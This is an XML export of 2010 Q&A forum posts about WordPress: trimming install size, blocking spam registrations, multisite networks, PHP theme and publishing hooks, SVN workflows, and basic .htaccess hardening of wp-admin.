  <row Id="238" PostTypeId="1" CreationDate="2010-08-12T16:24:08.150" Score="1" ViewCount="183" Body="&lt;p&gt;Sometimes it happens that cheap but fast/reliable hosting plan has the drawback to have only 50MB/100 MB of local space, for files and database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, before going to production, I delete manually some files. For example development version of CSS and javascript, plugin language files that I do not use, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a software or a batch script that can help me to reduce the size of my Wordpress installation before deploying it to production server?&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2010-08-12T22:19:00.293" Title="How can I easily reduce the size of Wordpress installation from development to production?" Tags="&lt;deploy&gt;&lt;optimization&gt;&lt;installation&gt;" AnswerCount="4" />
  <row Id="239" PostTypeId="1" AcceptedAnswerId="241" CreationDate="2010-08-12T16:26:43.250" Score="2" ViewCount="180" Body="&lt;p&gt;I want to allow readers of my WordPress-driven sites who comment frequently the ability to sign up and have their own account on the site. However the ratio of actual readers versus spam scripts using the sign-up form is something like 1:100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a reasonable solution for preventing these bogus accounts from being created while still allowing reader sign-ups? Last I looked, I couldn't find anything for account creation like what spam-prevention measures are available for comments.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2010-08-16T21:53:10.783" Title="How Do I Prevent Junk Account Creation?" Tags="&lt;users&gt;&lt;spam&gt;&lt;registration&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="240" PostTypeId="1" CreationDate="2010-08-12T16:30:08.770" Score="2" ViewCount="234" Body="&lt;p&gt;I have to create a simple network of websites (different sub-domains) using WordPress. There are just going to be 3 or 4 such websites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that WordPress MU was integrated directly within WordPress 3.0 and I can create a Network and use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any pitfalls or disadvantages that I should be aware of if I go for this route?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, generally what are your thoughts on WP 3 Networks?&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2010-08-12T18:26:16.207" Title="WordPress Network Feature" Tags="&lt;3.0&gt;&lt;network&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="241" PostTypeId="2" ParentId="239" CreationDate="2010-08-12T16:33:18.407" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/sabre/&quot; rel=&quot;nofollow&quot;&gt;Sabre&lt;/a&gt; is great plugin, it allows me to block dozens of spam user registration per week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has also many useful features to control the style and captcha's complexity.&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2010-08-12T16:33:18.407" CommentCount="3" />
  <row Id="242" PostTypeId="2" ParentId="219" CreationDate="2010-08-12T16:49:25.987" Score="1" ViewCount="" Body="&lt;p&gt;@Amit: It depends. Most function calls are pretty fast in PHP so if you are looking for performance I wouldn't worry about it too much. However I know how you feel seeing all those calls. Still, I'd never want to hardcode paths. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to be using &lt;code&gt;get_bloginfo('template_url')&lt;/code&gt; many times in your theme why not assign it to a global variable in your &lt;code&gt;functions.php&lt;/code&gt; file and then reference it everywhere you'd normally reference the function call? Make sure to name it something unlikely to conflict such as &lt;code&gt;amits_template_url&lt;/code&gt;. So do this in &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $amits_template_url;&#xA;$amits_template_url = get_bloginfo('template_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then in your theme reference it everywhere you would have referenced &lt;code&gt;get_bloginfo('template_url')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T16:49:25.987" />
  <row Id="243" PostTypeId="2" ParentId="175" CreationDate="2010-08-12T17:02:13.753" Score="2" ViewCount="" Body="&lt;p&gt;I can't tell for sure since I don't have your site to test with but I believe you just need to remove &lt;code&gt;'show'&lt;/code&gt; from &lt;code&gt;remove_action()&lt;/code&gt; and &lt;code&gt;add_action()&lt;/code&gt; calls. The &lt;code&gt;wp_publish_post()&lt;/code&gt; function is agnostic with respect to post types, at least that's what it appears from reading the code. So try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function setup_future_hook() {&#xA; // Replace native future_post function with replacement&#xA; remove_action('future_post','_future_post_hook');&#xA; add_action('future_post','publish_future_post_now');&#xA;}&#xA;&#xA;function publish_future_post_now($id) {&#xA;// Set new post's post_status to &quot;publish&quot; rather than &quot;future.&quot;&#xA;    wp_publish_post($id);&#xA;}&#xA;&#xA;add_action('init', 'setup_future_hook');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course if you want to limit to only doing shows you might want to do something like this (although the logic will be more complicated if you need it to work with other post types too):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function publish_future_post_now($id) {&#xA;    $post = get_post($id);&#xA;    if ($post-&amp;gt;post_type=='show')&#xA;        wp_publish_post($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T17:02:13.753" CommentCount="3" />
  <row Id="244" PostTypeId="2" ParentId="211" CreationDate="2010-08-12T17:05:09.317" Score="0" ViewCount="" Body="&lt;p&gt;Get an iPad with 3G access? ;-)&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T17:05:09.317" CommentCount="5" />
  <row Id="245" PostTypeId="2" ParentId="240" CreationDate="2010-08-12T17:12:35.967" Score="3" ViewCount="" Body="&lt;p&gt;What you describe it pretty much exactly the use-case for WordPress Multisite (formerly WPMU.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downsides are of course that all sites are dependent on the same code and the same database so if you break one you break them all (though most of the tables are different for each site.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course the upside is that you are using the same code and the same database, so you only have to maintain one set of code and one database!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. There are also performance concerns for hosting too many sites on the same install (think &lt;em&gt;WordPress.com&lt;/em&gt;), but we are talking hundreds or thousands of sites before you have to be concerned so for your use-case it's not an issue.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T17:12:35.967" />
  <row Id="246" PostTypeId="2" ParentId="238" CreationDate="2010-08-12T17:18:38.267" Score="0" ViewCount="" Body="&lt;p&gt;I'm not aware of such a script but maybe it would be good to develop one? The first step would be to identify what is possible to delete. Maybe you could turn this question into a community wiki page and people could collaborate on that information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also but only tangentially related I'm a huge fan of &lt;a href=&quot;http://www.asmallorange.com/&quot; rel=&quot;nofollow&quot;&gt;A Small Orange&lt;/a&gt; web hosting in no small part due to the fact they have &lt;a href=&quot;http://www.asmallorange.com/hosting/shared/&quot; rel=&quot;nofollow&quot;&gt;a US$25/&lt;em&gt;year&lt;/em&gt; account&lt;/a&gt; with 150Mb of storage (they have been my webhost for 5+ years.)&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-12T17:18:38.267" />
  <row Id="247" PostTypeId="1" AcceptedAnswerId="253" CreationDate="2010-08-12T17:22:54.313" Score="2" ViewCount="70" Body="&lt;p&gt;I would really like to add &lt;a href=&quot;http://dev.twitter.com/anywhere&quot; rel=&quot;nofollow&quot;&gt;@anywhere&lt;/a&gt; support to my blog, as my posts usually mention two or three Twitter users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not much of a code monkey though, and so I'm looking for something that adds @anywhere without me having to do too much configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin available where I can add @anywhere and configure it through the WordPress administration panel?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-13T18:57:37.403" LastActivityDate="2010-08-13T18:57:37.403" Title="How can I add @anywhere to my blog?" Tags="&lt;plugin-recommendation&gt;&lt;twitter&gt;" AnswerCount="1" />
  <row Id="248" PostTypeId="1" AcceptedAnswerId="256" CreationDate="2010-08-12T17:28:13.803" Score="4" ViewCount="536" Body="&lt;p&gt;About a month ago I started a WordPress blog on a hosted server related to a hobby. So, I am new to this at present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm concerned about security, one thing I did was to install the plugin WP Security Scan. According to the plugin results, my site checks out except that I get this in the results as a red flag: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The file .htaccess does not exist in wp-admin/ (I ssh'd in there and it does not exist)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Ok, so I did a considerable search on the issue and find too much info on .htaccess. I've been through Hardening WordPress on the WordPress.org site, etc. And also ran into this article: &lt;a href=&quot;http://digwp.com/2010/07/wordpress-security-lockdown/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2010/07/wordpress-security-lockdown/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I've basically gotten confused with the plethora of information available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What should the .htaccess file in wp-admin contain?&lt;/strong&gt; I've read that this .htaccess file should password protect the wp-admin directory and I've also read that this can cause functionality problems. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help with this is greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;-wdypdx22&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; Ok, so I'm not logged in to my blog and using a different computer than usual. I enter the url www.mysite.com/wordpress/wp-admin/ and there is a redirect to login. If that's what happens, then is an htaccess file even needed in the wp-admin directory?&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="6" LastEditorDisplayName="" LastEditDate="2010-08-12T19:34:02.047" LastActivityDate="2010-08-13T14:14:37.623" Title="Security and .htaccess" Tags="&lt;plugins&gt;&lt;security&gt;&lt;htaccess&gt;" AnswerCount="4" CommentCount="2" FavoriteCount="4" />
  <row Id="249" PostTypeId="2" ParentId="238" CreationDate="2010-08-12T17:42:40.083" Score="1" ViewCount="" Body="&lt;p&gt;I would argue that this is simply not possible (or extremely difficult) to do in an automated fashion, as there are so many different files which could be included or used in so many different places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll take javascript files as an example. They could be included:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;via &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags in any of the template files&lt;/li&gt;&#xA;&lt;li&gt;queued using &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script&lt;/code&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;otherwise echoed into the template files by another function&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;That's just an example of three ways, I'm sure there's many more - what I am saying is that it would be difficult to ascertain which files are actually used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you could look into, however, would be the minification of stylesheets, javascript and images, only deploying the minified versions to the server. There are a number of different services for each:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Javascript - &lt;a href=&quot;http://closure-compiler.appspot.com/home&quot; rel=&quot;nofollow&quot;&gt;Google Closure Compiler&lt;/a&gt;, &lt;a href=&quot;http://refresh-sf.com/yui/&quot; rel=&quot;nofollow&quot;&gt;YUI Compressor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Stylesheets - CSS Optimizer (I'm not so knowledged on stylesheet compression)&lt;/li&gt;&#xA;&lt;li&gt;Images - &lt;a href=&quot;http://www.smushit.com/ysmush.it/&quot; rel=&quot;nofollow&quot;&gt;smush.it&lt;/a&gt;, &lt;a href=&quot;http://www.punypng.com/&quot; rel=&quot;nofollow&quot;&gt;PunyPNG&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25" LastActivityDate="2010-08-12T17:42:40.083" />
  <row Id="250" PostTypeId="2" ParentId="218" CreationDate="2010-08-12T18:06:45.963" Score="6" ViewCount="" Body="&lt;p&gt;I use SVN for version control with &lt;em&gt;everything&lt;/em&gt; I do in WordPress development.  I actually started this way because I needed SVN for plug-in development ... once I got started there, it was a natural extension to continue using SVN for themes and custom scripts on client sites.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Plug-ins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Since plug-ins are already hosted on WordPress' server, I just check out a plug-in directly to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory of my local WordPress installation (I run WAMP on my development box).  Then I make changes to my local copy and, when it's ready for showtime, commit to the repository.  It's a smooth process there, no uploading/downloading and instant verification that my changes worked.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Themes&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Themes are a bit different, particularly when building for a client.  I create a local repository (I have an &lt;code&gt;R&lt;/code&gt; partition on my hard drive specifically for this purpose) and check out the empty repository directly to my &lt;code&gt;/wp-content/themes&lt;/code&gt; directory.  Then I make changes as needed and develop until it's ready, committing revisions as I go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I'm ready to publish the theme to a client's production server, I export the repository, zip it, and use the native Themes &gt;&gt; Add New functionality within WordPress.  This works with custom plug-ins (that aren't hosted by WordPress) as well.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Tools&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Like I said, I use WAMP on my local machine to run a development installation of WordPress.  It works perfectly on my box and allows me to run as many instances of WordPress as I need for a particular project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For SVN, I use &lt;a href=&quot;http://tortoisesvn.tigris.org/&quot; rel=&quot;nofollow&quot;&gt;Tortoise SVN&lt;/a&gt;.  It's free, remarkably easy to use, and integrates with the file and command structure of Windows.  Updating, committing, and exporting are all simple right-click, select command operations.  Using &quot;Export&quot; allows you to send the entire folder (without the annoying &lt;code&gt;.svn&lt;/code&gt; folders) directly to any location of your choice - I frequently export to the desktop.  Zipping the folder is also a right-click operation, and WordPress handles the upload.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually transferring files can be a hassle, particularly if you keep changing one file but not all of them.  If you instead FTP over the entire directory with &quot;overwrite all&quot; selected, it's much easier to replace old files (and you don't have to keep track of which changed and which didn't).  It's like the old 5-minute installation WordPress used to have - just replace everything with the new version.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-12T18:06:45.963" />
  <row Id="251" PostTypeId="1" AcceptedAnswerId="294" CreationDate="2010-08-12T18:10:43.880" Score="1" ViewCount="87" Body="&lt;p&gt;I use &lt;a href=&quot;http://noel.io/wordpress-art-direction-plugin/&quot; rel=&quot;nofollow&quot;&gt;Art Direction&lt;/a&gt; plugin to create customized posts sometimes. I also want to use &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;Super Cache&lt;/a&gt; plugin for traffic spikes. However I've found that once you have Supercache activated Art Direction plugin no longer works, due to the way Supercache renders your html.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to get around this? Or is there another caching plugin that works with Art Direction?&lt;/p&gt;&#xA;" OwnerUserId="4" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-11-06T22:26:20.560" LastActivityDate="2010-11-06T22:26:20.560" Title="Plug-in Conflict: Art Direction and Super Cache" Tags="&lt;plugins&gt;&lt;cache&gt;" AnswerCount="1" />
  <row Id="252" PostTypeId="2" ParentId="240" CreationDate="2010-08-12T18:13:02.580" Score="1" ViewCount="" Body="&lt;p&gt;There are two ways to set this up, and I've used both:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;WordPress Multisite - you use one WordPress installation (version 3.0) to install and manage all of your sites.  Admins have a single login and can monitor/update/moderate all of the sites in the network.  It's fairly well-supported as the system started with WPMU, has several developers behind it, and the full weight of Automattic (the guys behind www.wordpress.com) supporting it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wp-hive.com/&quot; rel=&quot;nofollow&quot;&gt;WP-Hive&lt;/a&gt; - this is a plug-in for WordPress that will allow you to point multiple domains/sub-domains at one WordPress installation.  Each site will get its own set of database tables and you can have entirely different administrators/users for each site (there's no single super-user for the entire system).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;WP-Hive isolates the different sites a bit more than WordPress Multisite, but both are valid ways to create a network of sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as advantages/disadvantages, there aren't that many.  If you're setting up a dynamic network (i.e. users can register and create their own subdomains) you're restricted a bit by hosts (some hosts don't allow for wildcard DNS settings on domains), but otherwise just about everyone supports it.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-12T18:13:02.580" CommentCount="3" />
  <row Id="253" PostTypeId="2" ParentId="247" CreationDate="2010-08-12T18:16:08.393" Score="3" ViewCount="" Body="&lt;p&gt;I use Otto's &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect&quot; rel=&quot;nofollow&quot;&gt;Simple Twitter Connect&lt;/a&gt;. It's pretty amazing, and doesn't require too much configuration.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-12T18:16:08.393" />
  <row Id="254" PostTypeId="2" ParentId="248" CreationDate="2010-08-12T18:21:09.693" Score="0" ViewCount="" Body="&lt;p&gt;I always include a .htaccess file in wp-admin, even if I never put anything in it, since it negates the root directory's file. Some people use the wp-admin .htaccess file to hide the whole directory from all but one IP address, others use it to password protect the directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, password protecting the admin section with .htaccess will disable ajax communications, since they interact with wp-admin/admin-ajax.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, I don't see much reason to add anything to the admin .htaccess file unless you're extremely paranoid. Attacks usually target wp-content anyway.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-12T18:21:09.693" CommentCount="3" />
  <row Id="255" PostTypeId="2" ParentId="240" CreationDate="2010-08-12T18:26:16.207" Score="0" ViewCount="" Body="&lt;p&gt;Another thing to consider is whether or not your host will let you use multisite without restriction.  I don't know if there are others like this, but Dreamhost won't allow the use of WPMU/multisite without using their private server offering.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2010-08-12T18:26:16.207" CommentCount="2" />
  <row Id="256" PostTypeId="2" ParentId="248" CreationDate="2010-08-12T18:27:52.130" Score="3" ViewCount="" Body="&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATE&lt;/em&gt;&lt;/strong&gt;: When I first posted my answer I missed the crux of the question; my answer was about &lt;code&gt;.htaccess&lt;/code&gt; security in general and is now listed below the double line (look down if it interests you.) Unfortunately I don't have specific experience with securing &lt;code&gt;/wp-admin/&lt;/code&gt; using &lt;code&gt;.htaccess&lt;/code&gt; so I'll simply list the two resources I will pursue when and if I need it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blogsecurity.net/wordpress/article-210607&quot; rel=&quot;nofollow&quot;&gt;Hardening WordPress with .htaccess&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/wordpress/htaccess-password-protect.html#comment&quot; rel=&quot;nofollow&quot;&gt;AskApache Password Protection, For WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The first one recommends the following (and here is &lt;a href=&quot;http://wordpress.org/support/topic/codes-for-htaccess-in-wp-admin&quot; rel=&quot;nofollow&quot;&gt;some discussion about it&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files ~ &quot;\.(php)$&quot;&amp;gt;&#xA;AuthUserFile /etc/httpd/htpasswd&#xA;AuthType Basic&#xA;AuthName &quot;restricted&quot;&#xA;Order Deny,Allow&#xA;Deny from all&#xA;Require valid-user&#xA;Satisfy any&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The latter has lots of information, especially in the comments, but admittedly providing you a list to read is not the answer you were looking for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I couldn't have been more helpful on this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;========================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically WordPress only has the following which handled permalink processing and is not related to security:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^index\.php$ - [L]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Recently I've found the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-htaccess-control/&quot; rel=&quot;nofollow&quot;&gt;WP htacess Control&lt;/a&gt; plugin that manages a lot of &lt;code&gt;.htaccess&lt;/code&gt; for you and I rather like it a lot.  After tweaking it's settings it added the following options:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# WPhtC: Disable ServerSignature on generated error pages&#xA;ServerSignature Off&#xA;&#xA;# WPhtC: Disable directory browsing&#xA;Options All -Indexes&#xA;&#xA;# WPhtC: Protect WP-config.php&#xA;&amp;lt;files wp-config.php&amp;gt;&#xA;order allow,deny&#xA;deny from all&#xA;&amp;lt;/files&amp;gt;&#xA;&#xA;# WPhtC: Protect .htaccess file&#xA;&amp;lt;files ~ &quot;^.*\.([Hh][Tt][Aa])&quot;&amp;gt;&#xA;order allow,deny&#xA;deny from all&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It also added these options which are about performance instead of security:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# WPhtC: Setting mod_gzip&#xA;&amp;lt;ifModule mod_gzip.c&amp;gt;&#xA;mod_gzip_on Yes&#xA;mod_gzip_dechunk Yes&#xA;mod_gzip_item_include file \.(html?|txt|css|js|php|pl)$&#xA;mod_gzip_item_include handler ^cgi-script$&#xA;mod_gzip_item_include mime ^text/.*&#xA;mod_gzip_item_include mime ^application/x-javascript.*&#xA;mod_gzip_item_exclude mime ^image/.*&#xA;mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xA;&amp;lt;/ifModule&amp;gt;&#xA;&#xA;# WPhtC: Setting mod_deflate&#xA;&amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;AddOutputFilterByType DEFLATE text/html text/plain text/xml application/xml application/xhtml+xml text/javascript text/css application/x-javascript&#xA;BrowserMatch ^Mozilla/4 gzip-only-text/html&#xA;BrowserMatch ^Mozilla/4.0[678] no-gzip&#xA;BrowserMatch bMSIE !no-gzip !gzip-only-text/html&#xA;Header append Vary User-Agent env=!dont-vary&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Beyond this one there are some plugins I haven't tried but that are focused on security and that interact with &lt;code&gt;.htaccess&lt;/code&gt; - you might try them each just to see what they do to the &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-secure-and-fast-htaccess/&quot; rel=&quot;nofollow&quot;&gt;WP Super Secure and Fast htaccess&lt;/a&gt; (&lt;a href=&quot;http://www.andreapernici.com/wordpress/wp-super-secure-and-fast-htaccess/&quot; rel=&quot;nofollow&quot;&gt;also&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bulletproof-security/&quot; rel=&quot;nofollow&quot;&gt;BulletProof Security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/silence-is-golden-guard/&quot; rel=&quot;nofollow&quot;&gt;Silence is Golden Guard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-blockyou/&quot; rel=&quot;nofollow&quot;&gt;WP-BlockYou&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/stealth-login/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Stealth Login&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/http-authentication/&quot; rel=&quot;nofollow&quot;&gt;HTTP Authentication&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/askapache-password-protect/&quot; rel=&quot;nofollow&quot;&gt;AskApache Password Protect&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Beyond that, if you want to know the (IMO) #1 expert resource on &lt;a href=&quot;http://www.askapache.com/search/wordpress+security/&quot; rel=&quot;nofollow&quot;&gt;Apache security related to WordPress&lt;/a&gt; you can find it on &lt;a href=&quot;http://www.askapache.com/&quot; rel=&quot;nofollow&quot;&gt;AskApache.com&lt;/a&gt;; dude is hardcore! His blog won't solve your &quot;&lt;em&gt;too much information&lt;/em&gt;&quot; problem but at least you can view it as an authoritative resource! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some examples (though not all are directly WordPress related they all are applicable):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/wordpress/advanced-wp-config-php-tweaks.html&quot; rel=&quot;nofollow&quot;&gt;Advanced WordPress wp-config.php Tweaks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/security/wordpress-plugin-for-apache-htaccess-security.html#menu0-el1&quot; rel=&quot;nofollow&quot;&gt;Example .htaccess for WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/wordpress/wordpress-404.html&quot; rel=&quot;nofollow&quot;&gt;Advanced WordPress 404&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/htaccess/mod_security-htaccess-tricks.html&quot; rel=&quot;nofollow&quot;&gt;Mod_Security .htaccess tricks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/htaccess/htaccess-plugin-blocks-spam-hackers-and-password-protects-blog.html&quot; rel=&quot;nofollow&quot;&gt;.htaccess Plugin Blocks Spam, Hackers, and Password Protects Blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway, hope this helps.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-12T19:15:22.760" LastActivityDate="2010-08-12T19:15:22.760" CommentCount="5" />
  <row Id="257" PostTypeId="2" ParentId="248" CreationDate="2010-08-12T18:32:56.770" Score="3" ViewCount="" Body="&lt;p&gt;The idea behind it, if you have strangling files hanging behind from past upgrades or for zero-day attacks, your system could be hacked. Also securing the wp-admin by another method will help against brute-force attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One Idea) If it is just you editing the site you can limit access to the folder by ip doing something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Files *&amp;gt;&#xA;Order deny,allow&#xA;Deny from All&#xA;Allow from 1.2.3.4&#xA;&amp;lt;/Files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make it a bit more tolerable for dynamic IP systems; you should be able to allow from a subblock, so if you IP pool is always from 1.2.3.128 - 1.2.3.255, then you could do something like 1.2.3.128/25&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Idea) require HTTPS, give a permissioned denied if they try it over http. But don't redirect them to the https. You can use a self-signed cert or one from CA Cert to get by without buying one.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2010-08-12T18:32:56.770" />
